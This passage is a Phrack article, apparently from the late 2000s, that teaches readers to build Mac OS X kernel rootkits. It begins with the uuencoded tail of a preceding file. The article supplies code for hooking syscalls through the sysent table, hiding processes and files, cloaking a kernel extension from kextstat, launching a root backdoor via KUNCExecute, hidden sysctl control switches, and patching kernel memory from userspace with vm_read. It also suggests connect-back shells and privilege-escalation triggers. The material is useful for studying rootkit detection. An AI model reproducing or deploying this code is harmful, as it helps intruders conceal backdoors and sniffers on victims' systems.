M1X*6NP71%B2-;>II='3T^Z7>,SQ[3Q%X/IXN^M'4NC@[>MJ[.'EY<?KF])<3
M-O"4ZFP:8W;&&/T%%NF*W_ND,4NB1F.BCZFADGJ*3^-9X)<_ZP;ESV#K*G^H
M3X/Q$/:V-=5RJ%=)O6B/+GUJ3ETY"9NZ_-JM[.5V>Q.]5>"<;BSNK'_Z;19W
MSL$\HY/HKN:%^TG.V[R0K2*'\_.+LP*7\K,H`1Y_FHS?IS-4EZ1/.:YBY58.
M>OC*$J[E.[M`0=D6_P/Z\F=#@#;A?T*[+?`_@>TXB/]IMW?W__=2\NOP"3>F
M65-^0?]X<\B'Q]8JHD"0[*ASL,:._K\&%8E;6P*8N,-28)%&%]CH0E4"+LK2
M>:4`HRQ=4`HRRM)U2X%&63J]'UFPD49'@".W!'"DTSE^,!J4@(YT.M#ZAP6@
M(L+#9-IUNGX9^"@['QVG#("DT]G#42D(2:>+O&!0!D3*M-ONEH*1,G3AJ!20
ME*'KV/<`2NJ&?-#:Y:`DQ-1PFE)0$H?E`$TI*,EK^Y*F#)3D.XJF#)3D=V1;
MI9"DMJ]HRB!)`1)RFC)(4A#:DJ8,DA1ZCJ`IAR2I<2Z%)'4"R4\I)*GK2II2
M2%*70Y*0I@R2Y-AM5=%7BDG:E5W9E5W9E5W9E5W9E5W9E5W9E;LO_P4A):,A
$`,@`````
`
end

--------[ EOF
```

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x10 of 0x11

```
|=-----------------------------------------------------------------------=|
|=----------------=[ Developing Mac OSX kernel rootkits  ]=--------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[    By wowie <wowie@hack.se> &        ]=--------------=|
|=----------------=[       ghalen@hack.se                 ]=--------------=|
|=----------------=[                                      ]=--------------=|
|=----------------=[    #hack.se                          ]=--------------=|
|=-----------------------------------------------------------------------=|
```

-[Content

--[1 - Introduction

-[1.1 - Background

Rootkits for different operating systems have been around for many years. Linux, Windows, and the different *BSD-flavors have all had their fair share of rootkits. Kernel rootkits are just a continuation of the standard file-swapping rootkits of days past. The dawn of tools like Osiris and Tripwire forced coders seeking to subvert the operating system to take refuge in kernelspace.

The basic idea of a rootkit is to change the behavior and output of standard commands and tools to hide the presence of backdoors, sniffers and other types of malicious code. And just as within other parts of the security industry it is a continuing arms race between those who seek to subvert the kernel and those who seek to protect it.

In this article we will describe the basics of runtime kernel patching and kernel rootkits for the Mac OS X operating system and how to develop your own. It is intended as an entry level tutorial for beginners and as well as guide for those interested in adapting existing kernel rootkits from other operating systems to Mac OS X. Apple supports two CPU architectures for the Mac OS X operating system: Intel and PowerPC. We believe that this guide is architecture neutral and that most of the source code is compatible with both architectures.

-[1.2 - Rootkit basics

The purpose of a rootkit is to hide the presence of an intruder and his tools. In order to do this the most common features of a kernel rootkit is the ability to hide files, processes and network sockets. More advanced rootkits sometimes provide backdoors and keyboard sniffers.

When a program such as '/bin/ls' is run to lists the files and folders of a directory it calls a function in the kernel called a syscall. The syscall is invoked from userland and transfers control from the userland process to the kernelspace function getdirentries(). The getdirentries() function returns a list of files for the specified directory to the userland process that in return displays the list to the user.

In order to hide the presence of a specific file the data returned from the getdirentires() syscall needs to be modified and the entry for the file deleted before returning the data to the user. This can be accomplished in a number of different ways; one way is to modify the filesystem processing layer (VFS) and another is to directly modify the getdirentires() function. In this brief introduction we will take the easy route and modify the getdirentries() function.

-[1.3 - Syscall basics

When a userland process needs to call a kernel function it invokes a syscall. A syscall is an API function that provides access to services provided by the kernel such as reading or writing to files, listing files in directories or opening and closing network sockets. Each syscall has a number, and all syscalls are invoked referencing this syscall number.

When a userland process wants to invoke a kernel function it is almost always done through a wrapper function in the libc-library that in turn generates a software interrupt that transfers control from the userland process in to the kernel. The kernel stores a list of all available syscall functions in a table called the sysentry table, each entry has a function pointer to the location of the function for that syscall number.

The kernel looks up the syscall that the userland process wants to call in the syscall entry table and invokes that function to handle the request. A list of the available syscalls as well as their numbers can be found in /usr/include/sys/syscall.h. For example, syscalls of interest to a rootkit wanting to hide files are:

```
196 - SYS_getdirentries
222 - SYS_getdirentriesattr
344 - SYS_getdirentries64
```

Each of these entries in the table points to the function in the kernel responsible for returning a list of files. SYS_getdirentries is an older version of the function, SYS_getdirentriesattr is a similar version of with support for OS X specific attributes. SYS_getdirentries64 is a newer version that supports longer filenames. SYS_getdirentries is used by for example bash, SYS_getdirentries64 is used by the ls command and SYS_getdirentriesattr is used by pure OS X-integrated applications like the Finder. Each of these functions needs to be replaced in order to provide a seamless 'experience' for the end-user.

In order to modify the output of the function a wrapper function needs to be created that can replace the original function. The wrapper function will first call the original function, search the output and do the required censoring before returning the sanitized data to the userland process.

-[1.4 - Userspace and Kernelspace

The kernel runs in a separate memory space that is private to the kernel in the same way as each user process has it's own private memory. This means that is is not possible to just read and write freely memory from the kernel. Whenever the kernel needs to modify memory in user-space, for instance copy data to or from userspace, specific routines and protocols needs to followed. A number of help functions are provided for this specific task, most notably copyin(9) and copyout(9). More information about these functions can be found in the manpages for copy(9) and store(9).

--[2 - Introducing the XNU kernel

XNU, the Mac OS X kernel and it's core is based on the Mach micro kernel and FreeBSD 5. The Mach layer is responsible for kernel threads, processes, pre-emptive multitasking, message-passing, virtual memory management and console i/o. Above the Mach layer is the BSD layer that supplies the POSIX API, networking and filesystems amongst other things. The XNU kernel also has an object oriented device driver framework known as the I/O Kit. This mashup of different technologies provide several different ways to accomplish the same task; to modify the running kernel. Another interesting choice in the design of the XNU kernel is that both the kernel- and userland has their own 4gb address space.

-[2.1 - OS X kernel rootkit history

One of the first publicly released Mac OS X kernel rootkits were WeaponX [9] which is developed by nemo [5] and was released in November 2004. It is based on the same kernel extension (loadable kernel module) technique that most kernel rootkits use and provides the expected basic functionality of a kernel rootkit. WeaponX [9] does however not work on newer versions of the Mac OS X operating system due to major kernel changes.

In the latest few releases of Mac OS X Apple has done a couple things hardening the kernel and making it more difficult to subvert. Of particular interest is the fact that it no longer exports the sysentry table and that several of the key kernel structures are opaque and hidden from kernel developers.

-[2.2 - Finding the syscall entry table

As of OS X version 10.4 the sysentry table is no longer an exported symbol from the kernel. This means that the compiler will not be able to automatically identify the position in memory where the sysentry table is stored. This can either be solved by searching the memory for an appropriate looking table or using something else as a reference. Landon Fuller identified that the exported symbol nsysent (the number of entries in the sysentry table) is stored in close proximity to the sysentry table. He also wrote a small routine that finds the sysentry table and returns a pointer to it that can be used to manipulate the table as one see fit [1].

The sysent structure is defined like this:

```
struct sysent {
        int16_t         sy_narg;                /* number of arguments */
        int8_t          reserved;               /* unused value */
        int8_t          sy_flags;               /* call flags */
        sy_call_t       *sy_call;               /* implementing function */
        sy_munge_t      *sy_arg_munge32;/* munge system call arguments for
32-bit processes */
        sy_munge_t      *sy_arg_munge64;/* munge system call arguments for
64-bit processes */
        int32_t         sy_return_type; /* return type */
        uint16_t        sy_arg_bytes;   /* The size of all arguments for
32-bit system calls, in bytes */
}  *_sysent;
```

The most interesting part of the structure is the "sy_call" pointer, which is a pointer to the actual syscall handler function. Thats the function we want our rootkit to hook. Hooking the function is as easy as changing the value of the pointer to point at our own function somewhere in memory.

-[2.3 - Opaque kernel structures

With OS X version 10.4 Apple also changed the kernel structure in order to provide a more stable kernel API. This was done to ensure that kernel extensions doesn't break when internal kernel structures change. This involves hiding large parts of the internal structures behind API:s and only exporting chosen parts of the structures to developers.

A good example of this is the process structure called "proc". Which is available from both userland and kernelland. The userland version is defined in /usr/include/sys/proc.h and looks like this:

```
struct extern_proc {
        union {
                struct {
                        struct  proc *__p_forw; /* Doubly-linked run/sleep queue. */
                        struct  proc *__p_back;
                } p_st1;
                struct timeval __p_starttime;   /* process start time */
        } p_un;
#define p_forw p_un.p_st1.__p_forw
#define p_back p_un.p_st1.__p_back
#define p_starttime p_un.__p_starttime
        struct  vmspace *p_vmspace;     /* Address space. */
        struct  sigacts *p_sigacts;     /* Signal actions, state (PROC ONLY). */
        int     p_flag;                 /* P_* flags. */
        char    p_stat;                 /* S* process status. */
        pid_t   p_pid;                  /* Process identifier. */
        pid_t   p_oppid;         /* Save parent pid during ptrace. XXX */
        int     p_dupfd;         /* Sideways return value from fdopen. XXX */
        /* Mach related  */
        caddr_t user_stack;     /* where user stack was allocated */
        void    *exit_thread;   /* XXX Which thread is exiting? */
        int             p_debugger;             /* allow to debug */
        boolean_t       sigwait;        /* indication to suspend */
        /* scheduling */
        u_int   p_estcpu;        /* Time averaged value of p_cpticks. */
        int     p_cpticks;       /* Ticks of cpu time. */
        fixpt_t p_pctcpu;        /* %cpu for this process during p_swtime */
        void    *p_wchan;        /* Sleep address. */
        char    *p_wmesg;        /* Reason for sleep. */
        u_int   p_swtime;        /* Time swapped in or out. */
        u_int   p_slptime;       /* Time since last blocked. */
        struct  itimerval p_realtimer;  /* Alarm timer. */
        struct  timeval p_rtime;        /* Real time. */
        u_quad_t p_uticks;              /* Statclock hits in user mode. */
        u_quad_t p_sticks;              /* Statclock hits in system mode. */
        u_quad_t p_iticks;              /* Statclock hits processing intr. */
        int     p_traceflag;            /* Kernel trace points. */
        struct  vnode *p_tracep;        /* Trace to vnode. */
        int     p_siglist;              /* DEPRECATED */
        struct  vnode *p_textvp;        /* Vnode of executable. */
        int     p_holdcnt;              /* If non-zero, don't swap. */
        sigset_t p_sigmask;     /* DEPRECATED. */
        sigset_t p_sigignore;   /* Signals being ignored. */
        sigset_t p_sigcatch;    /* Signals being caught by user. */
        u_char  p_priority;     /* Process priority. */
        u_char  p_usrpri;       /* User-priority based on p_cpu and p_nice. */
        char    p_nice;         /* Process "nice" value. */
        char    p_comm[MAXCOMLEN+1];
        struct  pgrp *p_pgrp;   /* Pointer to process group. */
        struct  user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
        u_short p_xstat;        /* Exit status for wait; also stop signal. */
        u_short p_acflag;       /* Accounting flags. */
        struct  rusage *p_ru;   /* Exit information. XXX */
};
```

The internal definition in the kernel is available from the xnu source in the file xnu-xxx/bsd/sys/proc_internal.h and contains a lot more info than it’s userland counterpart. If we take a look at the userland version of the proc structure from Mac OS X 10.3, with Darwin 7.0, and compares it to the structure above we can spot the differences right away (some comments and whitespace is removed to save space and make it more readable)

```
struct  proc {
        LIST_ENTRY(proc) p_list;        /* List of all processes. */
        struct  pcred *p_cred;          /* Process owner’s identity. */
        struct  filedesc *p_fd;         /* Ptr to open files structure. */
        struct  pstats *p_stats;        /* Accounting/statistics (PROC ONLY). */
        struct  plimit *p_limit;        /* Process limits. */
        struct  sigacts *p_sigacts;     /* Signal actions, state (PROC ONLY). */
#define p_ucred         p_cred->pc_ucred
#define p_rlimit        p_limit->pl_rlimit
        int     p_flag;                 /* P_* flags. */
        char    p_stat;                 /* S* process status. */
        char    p_pad1[3];
        pid_t   p_pid;                  /* Process identifier. */
        LIST_ENTRY(proc) p_pglist;      /* List of processes in pgrp. */
        struct  proc *p_pptr;           /* Pointer to parent process. */
        LIST_ENTRY(proc) p_sibling;     /* List of sibling processes. */
        LIST_HEAD(, proc) p_children;   /* Pointer to list of children. */
#define p_startzero     p_oppid
        pid_t   p_oppid;         /* Save parent pid during ptrace. XXX */
        int     p_dupfd;         /* Sideways return value from fdopen. XXX */
        u_int   p_estcpu;        /* Time averaged value of p_cpticks. */
        int     p_cpticks;       /* Ticks of cpu time. */
        fixpt_t p_pctcpu;        /* %cpu for this process during p_swtime */
        void    *p_wchan;        /* Sleep address. */
        char    *p_wmesg;        /* Reason for sleep. */
        u_int   p_swtime;        /* DEPRECATED (Time swapped in or out.) */
#define p_argslen p_swtime       /* Length of process arguments. */
        u_int   p_slptime;       /* Time since last blocked. */
        struct  itimerval p_realtimer;  /* Alarm timer. */
        struct  timeval p_rtime;        /* Real time. */
        u_quad_t p_uticks;              /* Statclock hits in user mode. */
        u_quad_t p_sticks;              /* Statclock hits in system mode. */
        u_quad_t p_iticks;              /* Statclock hits processing intr. */
        int     p_traceflag;            /* Kernel trace points. */
        struct  vnode *p_tracep;        /* Trace to vnode. */
        sigset_t p_siglist;             /* DEPRECATED. */
        struct  vnode *p_textvp;        /* Vnode of executable. */
#define p_endzero       p_hash.le_next
        LIST_ENTRY(proc) p_hash;        /* Hash chain. */
        TAILQ_HEAD( ,eventqelt) p_evlist;
#define p_startcopy     p_sigmask
        sigset_t p_sigmask;             /* DEPRECATED */
        sigset_t p_sigignore;   /* Signals being ignored. */
        sigset_t p_sigcatch;    /* Signals being caught by user. */
        u_char  p_priority;     /* Process priority. */
        u_char  p_usrpri;       /* User-priority based on p_cpu and p_nice. */
        char    p_nice;         /* Process "nice" value. */
        char    p_comm[MAXCOMLEN+1];
        struct  pgrp *p_pgrp;   /* Pointer to process group. */
#define p_endcopy       p_xstat
        u_short p_xstat;        /* Exit status for wait; also stop signal. */
        u_short p_acflag;       /* Accounting flags. */
        struct  rusage *p_ru;   /* Exit information. XXX */
        int     p_debugger;     /* 1: can exec set-bit programs if suser */
        void    *task;                  /* corresponding task */
        void    *sigwait_thread;        /* ’thread’ holding sigwait */
        struct lock__bsd__ signal_lock; /* multilple thread prot for signals*/
        boolean_t        sigwait;       /* indication to suspend */
        void    *exit_thread;           /* Which thread is exiting? */
        caddr_t user_stack;             /* where user stack was allocated */
        void * exitarg;                 /* exit arg for proc terminate */
        void * vm_shm;                  /* for sysV shared memory */
        int  p_argc;                    /* saved argc for sysctl_procargs() */
        int p_vforkcnt;         /* number of outstanding vforks */
        void *  p_vforkact;     /* activation running this vfork proc */
        TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads  */
        pid_t   si_pid;
        u_short si_status;
        u_short si_code;
        uid_t   si_uid;
        TAILQ_HEAD( , aio_workq_entry ) aio_activeq;
        int             aio_active_count;       /* entries on aio_activeq */
        TAILQ_HEAD( , aio_workq_entry ) aio_doneq;
        int             aio_done_count;         /* entries on aio_doneq */
        struct klist p_klist;  /* knote list */
        struct  auditinfo               *p_au;  /* User auditing data */
#if DIAGNOSTIC
#if SIGNAL_DEBUG
        unsigned int lockpc[8];
        unsigned int unlockpc[8];
#endif /* SIGNAL_DEBUG */
#endif /* DIAGNOSTIC */
};
```

As you can seen, Apple has redone this structure quite a bit and removed a lot of stuff, most of the changes where introduced between version 10.3 and 10.4 of Mac OS X. One of the changes to the structure is the removal of the p_ucred pointer, which is a pointer to a structure that contains the user credentials of the current process.

This effectively breaks nemos [5] technique of setting a process user-id and group-id to zero, which he does like this:

```
void uid0(struct proc *p) {
        register struct pcred *pc = p->p_cred;
        pcred_writelock(p);
        (void)chgproccnt(pc->p_ruid, -1);
        (void)chgproccnt(0, 1);
        pc->pc_ucred = crcopy(pc->pc_ucred);
        pc->pc_ucred->cr_uid = 0;
        pc->p_ruid = 0;
        pc->p_svuid = 0;
        pcred_unlock(p);
        set_security_token(p);
        p->p_flag |= P_SUGID;
        return;
}
```

For a rootkit developer that wants to modify specific kernel structures this is somewhat of a problem, both the fact that the kernel structures are neither exported or well documented and the fact that they might rapidly change between kernel versions. Fortunately the kernel source is now open source and can be freely downloaded from Apple. This makes it possible to extract the needed kernel structures from the source.

-[2.4 - The I/O Kit Framework

Mac OS X contains a complete framework of libraries, tools and various other resources for creating device drivers. This framework is called the I/O Kit. The I/O Kit framework provides an abstract view of the hardware to the upper layers of Mac OS X, which simplifies device driver development and thus makes it's less time consuming. The entire framework is object-oriented and implemented using a somewhat cut down version C++ to promote increased code reuse.

Since this framework operates in kernelspace and can interact with actual hardware, it's ideal for writing keylogging software. A good example of abusing the I/O Kit framework for just that purpose is the keylogger called "logKext", [10] written by drspringfield, which utilizes the I/O Kit framework to log a users keystrokes. This is just one of many uses of this framework in rootkit development. Feel free to explore and come up with your own creative ways of subverting the Mac OS X kernel using the I/O Kit framework.

--[3 - Kernel development on Mac OS X

As Mac OS X is somewhat of a hybrid between a number of different technologies runtime modification of the operating system can be done in several ways. One of the easiest methods is to load the 'improved' functionality as a kernel driver. Drivers can be loaded either as kernel extensions for the BSD sub-layer or as Object Oriented I/O Kit drivers. For the purpose of this first exercise only ordinary BSD kernel extensions will be utilized due to their simplicity and ease of development.

The easiest way to write a kernel extension for Mac OS X is to use the XCode-templates for 'Generic Kernel Extension'. Open Xcode, Select 'New Project' in the File-menu. From the list of available templates choose 'Generic Kernel Extension' under 'Kernel Extension'. Give the project a suitable name, such as 'rootkit 0.1' and click 'Finish'. This creates a new Xcode project for your new kernel rootkit.

The newly automatically created .c-file contains the entry and exit points for the kernel extension:

```
kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}


kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}
```

rootkit_0_1_start() will be invoked when the kernel extension is loaded using /sbin/kextload and rootkit_0_1_stop() will be invoked when the kernel extension is unloaded using /sbin/kextunload.

Loading and unloading of kernel extensions require root privileges, and the code in these functions will be executed in kernelspace with full control of the entire operating system. It is therefore of the utmost importance that any code executed takes makes sure not to make a mess of everything and thereby crashes the entire operating system. To quote the Apple 'Kernel Program Guide': "Kernel programming is a black art that should be avoided if at all possible" [4].

Any changes made to the kernel in the start()-function must be undone in the stop-function(). Functions, variables and other types of loadable objects will be deallocated when the module is unloaded and any future reference to them will cause the operating system to misbehave or in worst case crash.

Building your project is as easy as clicking the 'build button'. The compiled kernel extension can be found in the build/Relase/-directory and is named 'rootkit 0.1.kext'. /sbin/kextload refuses to load kernel extensions unless they are owned by the root user and belongs to the wheel group. This can easily be fixed by chown:ing the files accordingly. Fledging kernel hackers that dislikes the Xcode GUI:s will be please to known that the project can be build just as easily from the command line using the 'xcodebuild' command.

Apple provides the XCode IDE and the gcc compiler on the Mac OS X DVD, if needed the latest version can also be downloaded from [2] after registration. The source code for the XNU kernel can also be downloaded from [3]. It is recommended that you keep a copy of the kernel sourcecode at hand as reference during development.

One of the great advantages of using the kernel extension API is that the kextload command takes care of everything from linking to loading. This means that the entire rootkit can be written in C, making it almost trivially easy. Another great advantage of C-development is portability which is an important issue considering that Mac OS X is available for two different CPU architectures.

-[3.1 - Kernel version dependence

As Landon Fuller notes in research access to the nsysent variable needed to find the sysentry-table is restricted unless the kext is compiled for a specific kernel release. This is due to the simple fact that the address of this variable is likely to change between kernel releases. Kernel dependence for kernel extensions is configured in the Info.plist file included in the XCode-project. The 'com.apple.kernel'-key needs to be added to OSBundleLibraries with the version set to the Kernel release as indicated by the 'uname -r' command:

```
<key>OSBundleLibraries</key>
<dict>
    <key>com.apple.kernel</key>
    <string>9.6.0</string>
</dict>
```

This ties the compiled kernel extension specifically to version 9.6.0 of the Kernel. A recompile of the kernel extension is needed for each minor and major release. The kernel extension will refuse to load in any other version of the Mac OS X kernel, in many cases that might be considered a good thing.

--[4 - Your first OS X kernel rootkit

-[4.1 - Replacement of a simple syscall

To start of the whole kernel subversion business we'll take a quick example of replacing the getuid() function. This function returns the current user ID and in this example it will be replaced it with a function that always returns uid zero (root). This will not automatically give all users root access, only the illusion of having root access. Fun but innocent :)

```
int new_getuid()
{
  return(0);
}

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {

  struct sysent *sysent = find_sysent();
  sysent[SYS_getuid].sy_call = (void *) new_getuid;

  return KERN_SUCCESS;

}
```

This simple code-snippet first defines a new getuid()-function that always returns 0 (root). The new function will be loaded in kernel memory by the kextload-function. When the start()-function runs it will replace the original getuid() syscall with the new and 'improved' version. Returning KERN_SUCCESS indicates to the operating system that everything went as planed and that the insertion of the kernel extension was successful.

A complete version can be found in the code section of this paper; including the unloading function that might prove useful once the initial thrill is over.

-[4.2 - Hiding processes

The '/bin/ps' command, 'top' and the Activity Monitor all list running processes using the sysctl(3) syscall. sysctl(2) is a general purpose multifunction API used to communicate with a multitude of different functions in the kernel. sysctl(2) is used both to list running processes as well open network sockets. In order to intercept and modify the running process list the entire sysctl syscall needs to be intercepted and the commands parsed in order to identify calls to the CTL_KERN->KERN_PROC command used to list current running processes.

The sysctl(2) syscall is intercepted using the exactly same method as getuid(), but one of the major differences is that special attention needs to be taken with regards to the arguments. In order to support both big and little endian systems Apple uses padding macros named PADL and PADR that makes the argument struct look very exotic. The easiest way to get it right is to copy the entire struct definition from the XNU kernel source in order to avoid confusion with the padding.

sysctl(2) takes its function commands in the form of a char-array called 'name'. The commands are hierarchical and most commands have several subcommands that in turn can have subcommands or arguments. The sysctl(2) commands and their respective subcommands can be found in '/usr/include/sys/sysctl.h'.

The CTL_KERN->KERN_PROC command to sysctl copies a list of all running processes to a user provided buffer. From the perspective of the rootkit this presents a problem since we want to modify the data before it is returned to the user but since the syscall writes the data directly to the user provided buffer this is problematic. Fortunately we are in position to manipulate the data in the user buffer prior returning control to the user software. This requires copying the data from userspace into a kernelspace buffer, doing the required modification and then copying the data back into userspace.

First memory needed to store the copy of the data needs to be allocated using the MALLOC-macro, then the data needs to be copied from userspace using the copyin(9)-function. The copyin(9) function copies data from userspace to kernelspace. Then the data needs to be processed and selected entries removed. The actual process of deleting an entry is done by overwriting it with the rest of the data in the buffer. This requires doing an overlapping memory copy, this functionality is provided by the bcopy(3) function. Once an entry has been removed the counter for the total size of the buffer needs to be decreased and the data can finally be returned, or rather copied, to userspace.

```
      /* Search for process to remove */
      for (i = 0; i < nprocs; i++)
        if(plist[i].kp_proc.p_pid == 11) /* hardcoded PID */
          {

            /* If there is more then one entry left in the list
             * overwrite this entry with the rest of the buffer */

            if((i+1) < nprocs)
              bcopy(&plist[i+1],&plist[i],(nprocs - (i + 1)) * sizeof(struct kinfo_proc));

            /* Decrease size */
            oldlen -= sizeof(struct kinfo_proc);
            nprocs--;
          }
```

The modified data is then copied back to the userspace buffer using the copyout(9) function. In this case two different functions are used to copy data to userspace. The suulong(9) function is used to copy only small amounts of data to userspace while copyout(9) is used to copy the actual data buffer.

```
      /* Copy back the length to userspace */
      suulong(uap->oldlenp,oldlen);

      /* Copy the data back to userspace */
      copyout(mem,uap->old, oldlen);
```

The data trailing the last entry will, if the data was modified, contain an extra copy of the last entry in the buffer, something that might be used to detect that the buffer has been modified. To avoid this the trailing data can be zero:ed. A more sophisticated rootkit might want to store a copy of the original buffer prior to the call to the real syscall and use that data to pad the remaining buffer space.

A reference implementation of a processes hiding kernel extension can be found in the code section of this paper.

-[4.3 - Hiding files

As noted earlier, three different syscalls are of interest when hiding files, SYS_getdirentries, SYS_getdirentriesattr and SYS_getdirentries64. All of these syscalls share the sysctl(2) approach in that the calling application provides a buffer that the syscall will fill with appropriate data and return a counter indicating how much data was written. Due to the variable size of each record pointer arithmetics is required when parsing the data. All in all it is a complicated procedure and any mishaps is likely to cause a kernel crash. It is also important to patch all three syscalls of the getdirent-syscall in order to maintain the illusion that the malicious files have disappeared.

The process is very similar to hiding a process; the original function is invoked, the data copied from userspace to kernelspace, modified as needed and then copied back.

A reference implementation of a file hiding kernel extension can be found in the code section of this paper.

-[4.4 - Hiding a kernel extension

Kernel modules can be listed with the command 'kextstat'. If the rogue rootkit kernel extension can be easily identified using the kextstat commands it sort of voids the purpose of the rootkit. nemo [5] identified a simple and elegant way to hide the presence of a kernel module for the WeaponX [9] kernel rootkit.

```
extern kmod_info_t *kmod;

void activate_cloaking()
{
        kmod_info_t *k;
        k = kmod;
        kmod = k->next;
}
```

This short snippet of code finds the linked list containing the loaded modules and simply delinks the last loaded module from that list. Since the kextstat utility will walk this list when presenting the information on loaded kernel extensions the newly loaded rootkit will disappear from that list. For the same reason the kextunload utility will also fail to unload the module from the kernel, which actually can be quite annoying.

-[4.5 - Running userspace programs from kernelspace

On Mac OS X there exists a special API called KUNC (Kernel-User Notification Center) [6]. This API is used when the kernel (i.e. a KEXT) might need to display a notification to the user or run commands in userspace.

The KUNC function used to execute commands in userspace is KUNCExecute(). This function is quite handy in rootkit development, since we may execute any command we want as root from kernelspace. The function definition looks like this.

(Taken from xnu-xxx/osfmk/UserNotification/KUNCUserNotifications.h)

```
#define kOpenApplicationPath    0
#define kOpenPreferencePanel    1
#define kOpenApplication        2

#define kOpenAppAsRoot          0
#define kOpenAppAsConsoleUser   1

kern_ret_t
KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType);
```

The "executionPath" is the file-system path to the application or executable to execute. The "openAsUser" flag can either be "kOpenAppAsConsoleUser", to execute the application as the logged-in user or "kOpenAppAsRoot", to run the application as root. The "pathExecutionType" flag specifies the type of application to execute, and can be one of the following.

kOpenApplicationPath - The absolute file-system path to a executable.
kOpenPreferencePanel - The name of a preference pane in /System/Library/PreferencePanes.
kOpenApplication - The name of a application in the "/Applications" folder.

To execute the binary "/var/tmp/mybackdoor" we simply do like this:

```
KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath);
```

This function is especially useful in combination with some sort of trigger, like a hooked tcp-handler that executes the function and spawns a connect-back shell to the source-ip of a magic trigger-packet. The interesting parts of the network layer is actually exported and can be easily modified.

Or if you prefer a local privilege escalation backdoor, why not hook SYS_open and execute the specified file with KUNCExecute if you supply a magic flag? The possibilities are endless.

-[4.6 - Controlling your rootkit from userspace

Once the appropriate syscalls and kernel functions has been replaced with rogue versions capable of hiding files, network sockets and processes each of these needs to know what to hide.

A popular way to trigger process hiding is to hook SYS_kill and send a special signal (31337 perhaps?) to the process to hide. This is easy and requires no special tools of any kind. If the processes hiding is performed by setting special flags on the process this flag can be inherited for fork() and exec() and thereby hide an entire process-tree.

Hiding files and sockets is trickier since we have no easy way to indicate to the kernel that we want them hidden. The creation of a new syscall is an easy way, or to piggy-back on one of the hooked ones and have a special magic argument to trigger the communication code. This does however require special tools in userspace capable of calling the right syscall with the correct arguments. These tools can be identified and searched for even if the rootkit tries to hide them in the filesystem they are always vulnerable to offline analysis.

An easy way to create a communication channel that doesn't require special tools or an entry in the /dev/-directory is to use sysctl. In the Mac OS X kernel drivers can register their own variables and have them changed using the /usr/sbin/sysctl-tool which is available by default on all systems.

Registering a new sysctl can be easily done using the normal kext procedures. The source for the example below can be found in reference 7.

```
/* global variable where argument for our sysctl is stored */
int  sysctl_arg = 0;

static int sysctl_hideproc SYSCTL_HANDLER_ARGS
{
      int error;
      error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req);

     if (!error && req->newptr)
      {
         if(arg2 == 0)
           printf("Hide process %d\n",sysctl_arg);
         else
           printf("Unhide process %d\n",sysctl_arg);
       }

   /* We return failure so that we dont show up in "sysclt -A"-listings. */
   return KERN_FAILURE;
}


/* Create our sysctl:s */
SYSCTL_PROC(_hw, OID_AUTO, hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
            &sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process");

SYSCTL_PROC(_hw, OID_AUTO, unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
            &sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process");


kern_return_t kext_start (kmod_info_t * ki, void * d) {

    /* Register our sysctl */
    sysctl_register_oid(&sysctl__hw_hideprocess);
    sysctl_register_oid(&sysctl__hw_unhideprocess);

    return KERN_SUCCESS;
}
```

This code registers two new sysctl variables, hw.hideprocess and hw.unhideprocess. When written to using sysctl -w hw.hideprocess=99 the function sysctl_hideproc() is invoked and can be used to add the selected PID to the list of processes to hide. A sysctl for hiding files is slightly different since it takes a string as argument instead of an integer but the overall procedure is the same. The major reason to use sysctl is that it support dynamic registration of variable and the required tool sysctl is provided by the operating system.

The -A flag for sysctl is avoided by returning KERN_FAILURE whenever the function is called, this causes the newly created variables to be omitted from the listing.

There is also a number of other ways of communicating with the kernel and controlling your rootkit. For example you can use the Mach API for IPC or using kernel control sockets, both has their pros and cons.

--[5 - Runtime kernel patching using the Mach APIs

Instead of using a rogue kernel module (kext) to hijack syscalls the Mach API’s can be used for runtime kernel patching. This is nothing new to the rootkit community, and has previously been used in rootkits such as SucKIT by sd [7] and phalanx by rebel [8], two very impressive rootkits for

Linux.

To access kernel memory on Linux both SucKIT and phalanx uses /dev/kmem (and later /dev/mem). /dev/kmem and /dev/mem has been removed from Mac OS X as of version 10.4. The Mach-subsystem does however provide a very useful set of memory manipulation functions. The functions of interest for a rootkit developer are vm_read(), vm_write() and vm_allocate(). These functions allows arbitrary read and write access to the entire kernel from userspace as well as allowing allocation of kernel memory. The only requirement is root access.

The vm_allocate() function in particular is of great value. A common technique used on other operating systems to allocate kernel memory is to replace a system call handler with the kmalloc() function, and then execute the syscall. This way an attacker is able to allocate memory in kernelspace needed to store the wrapper functions. The big downside of this approach is the race condition introduced in case some other userland process calls the same syscall. But since the friendly Apple kernel developers provided the vm_allocate() function this isn't necessary on Mac OS X.

-[5.1 - System call hijacking

The vm_read() and vm_write() functions can be used as great tools for syscall hijacking. First off the address of the sysentry table needs to be located. The process identified by Landon Fuller [1] works just as good from userspace as it does from kernelspace. The sysentry table contains pointers to all the syscall handler functions we want to hijack.

To read the address to the handler function for a syscall, i.e. SYS_kill, we can use the vm_read() function, and passing it the address of the sy_call variable of SYS_kill.

```
mach_port_t port;
pointer_t buf; /* pointer to your result */
unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_kill_addr = 0; /* final destination */

/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
   fprintf(stderr, "failed to get port\n");
   exit(EXIT_FAILURE);
}

/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
   fprintf(stderr, "could not read memory\n");
   exit(EXIT_FAILURE);
}

/* do proper typecast */
sys_kill_addr = *(unsigned int*)buf;
```

